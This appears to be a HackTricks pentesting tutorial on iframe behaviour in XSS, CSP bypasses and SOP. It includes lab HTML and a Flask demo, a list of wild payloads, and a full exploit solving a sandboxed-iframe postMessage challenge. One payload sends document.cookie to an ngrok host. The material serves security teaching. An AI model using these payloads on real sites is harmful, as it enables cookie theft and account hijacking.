HackTricks
Search…
👽
Network Services Pentesting
🕸
Pentesting Web
Iframes in XSS, CSP and SOP

Iframes in XSS, CSP and SOP

Support HackTricks and get benefits!

Iframes in XSS

There are 3 ways to indicate the content of an iframed page:
  • Via src indicating an URL (the URL may be cross origin or same origin)
  • Via src indicating the content using the data: protocol
  • Via srcdoc indicating the content
Accesing Parent & Child vars
1
<html>
2
<script>
3
var secret = "31337s3cr37t";
4
</script>
5
​
6
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
7
<iframe id="if2" src="child.html"></iframe>
8
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
9
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
10
​
11
<script>
12
function access_children_vars(){
13
alert(if1.secret);
14
alert(if2.secret);
15
alert(if3.secret);
16
alert(if4.secret);
17
}
18
setTimeout(access_children_vars, 3000);
19
</script>
20
</html>
Copied!
1
<!-- content of child.html -->
2
<script>
3
var secret="child secret";
4
alert(parent.secret)
5
</script>
Copied!
If you access the previous html via a http server (like python3 -m http.server) you will notice that all the scripts will be executed (as there is no CSP preventing it)., the parent won’t be able to access the secret var inside any iframe and only the iframes if2 & if3 (which are considered to be same-site) can access the secret in the original window. Note how if4 is considered to have null origin.

Iframes with CSP

Please, note how in the following bypasses the response to the iframed page doesn't contain any CSP header that prevents JS execution.
The self value of script-src won’t allow the execution of the JS code using the data: protocol or the srcdoc attribute. However, even the none value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the src attribute. Therefore it’s possible to bypass the CSP of a page with:
1
<html>
2
<head>
3
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
4
</head>
5
<script>
6
var secret = "31337s3cr37t";
7
</script>
8
<iframe id="if1" src="child.html"></iframe>
9
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
10
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
11
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
12
</html>
Copied!
Note how the previous CSP only permits the execution of the inline script. However, only if1 and if2 scripts are going to be executed but only if1 will be able to access the parent secret.
Therefore, it’s possible to bypass a CSP if you can upload a JS file to the server and load it via iframe even with script-src 'none'. This can potentially be also done abusing a same-site JSONP endpoint.
You can test this with the following scenario were a cookie is stolen even with script-src 'none'. Just run the application and access it with your browser:
1
import flask
2
from flask import Flask
3
app = Flask(__name__)
4
​
5
@app.route("/")
6
def index():
7
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
8
resp.headers['Content-Security-Policy'] = "script-src 'self'"
9
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
10
return resp
11
​
12
@app.route("/cookie_s.html")
13
def cookie_s():
14
return "<script>alert(document.cookie)</script>"
15
​
16
if __name__ == "__main__":
17
app.run()
Copied!

Other Payloads found on the wild

1
<!-- This one requires the data: scheme to be allowed -->
2
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
3
<!-- This one injects JS in a jsonp endppoint -->
4
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
5
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
6
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Copied!

Iframe sandbox

The sandbox attribute enables an extra set of restrictions for the content in the iframe. By default, no restriction is applied.
When the sandbox attribute is present, and it will:
  • treat the content as being from a unique origin
  • block form submission
  • block script execution
  • disable APIs
  • prevent links from targeting other browsing contexts
  • prevent content from using plugins (through <embed>, <object>, <applet>, or other)
  • prevent the content to navigate its top-level browsing context
  • block automatically triggered features (such as automatically playing a video or automatically focusing a form control)
The value of the sandbox attribute can either be empty (then all restrictions are applied), or a space-separated list of pre-defined values that will REMOVE the particular restrictions.
1
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
Copied!

Iframes in SOP

In this challenge created by NDevTK and Terjanq **** you need you need to exploit a XSS in the coded
1
const identifier = '4a600cd2d4f9aa1cfb5aa786';
2
onmessage = e => {
3
const data = e.data;
4
if (e.origin !== window.origin && data.identifier !== identifier) return;
5
if (data.type === 'render') {
6
renderContainer.innerHTML = data.body;
7
}
8
}
Copied!
The main problem is that the main page uses DomPurify to send the data.body, so in order to send your own html data to that code you need to bypass e.origin !== window.origin.

SOP bypass 1

When //example.org is embeded into a sandboxed iframe, then the page's origin will be null, i.e. window.origin === 'null'. So just by embedding the iframe via <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> we could force the null origin.
If the page was embeddable you could bypass that protection that way (cookies might also need to be set to SameSite=None).

SOP bypass 2

The lesser known fact is that when the sandbox value allow-popups is set then the opened popup will inherit all the sandboxed attributes unless allow-popups-to-escape-sandbox is set.

Challenge Solution

Therefore, for this challenge, one could create an iframe, open a popup to the page with the vulnerable XSS code handler (/iframe.php), as window.origin === e.origin because both are null it's possible to send a payload that will exploit the XSS.
That payload will get the identifier and send a XSS it back to the top page (the page that open the popup), which will change location to the vulnerable /iframe.php. Because the identifier is known, it doesn't matter that the condition window.origin === e.origin is not satisfied (remember, the origin is the popup from the iframe which has origin null) because data.identifier === identifier. Then, the XSS will trigger again, this time in the correct origin.
1
<body>
2
<script>
3
f = document.createElement('iframe');
4
5
// Needed flags
6
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
7
8
// Second communication with /iframe.php (this is the top page relocated)
9
// This will execute the alert in the correct origin
10
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
11
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
12
},1000);`.replaceAll('\n',' ');
13
14
// Initial communication
15
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
16
// Then, bypass window.origin === e.origin to steal the identifier and communicate
17
// with the top with the second XSS payload
18
f.srcdoc = `
19
<h1>Click me!</h1>
20
<script>
21
onclick = e => {
22
let w = open('https://so-xss.terjanq.me/iframe.php');
23
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
24
setTimeout(_ => {
25
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
26
}, 1000);
27
};
28
<\/script>
29
`
30
document.body.appendChild(f);
31
</script>
32
</body>
Copied!
Support HackTricks and get benefits!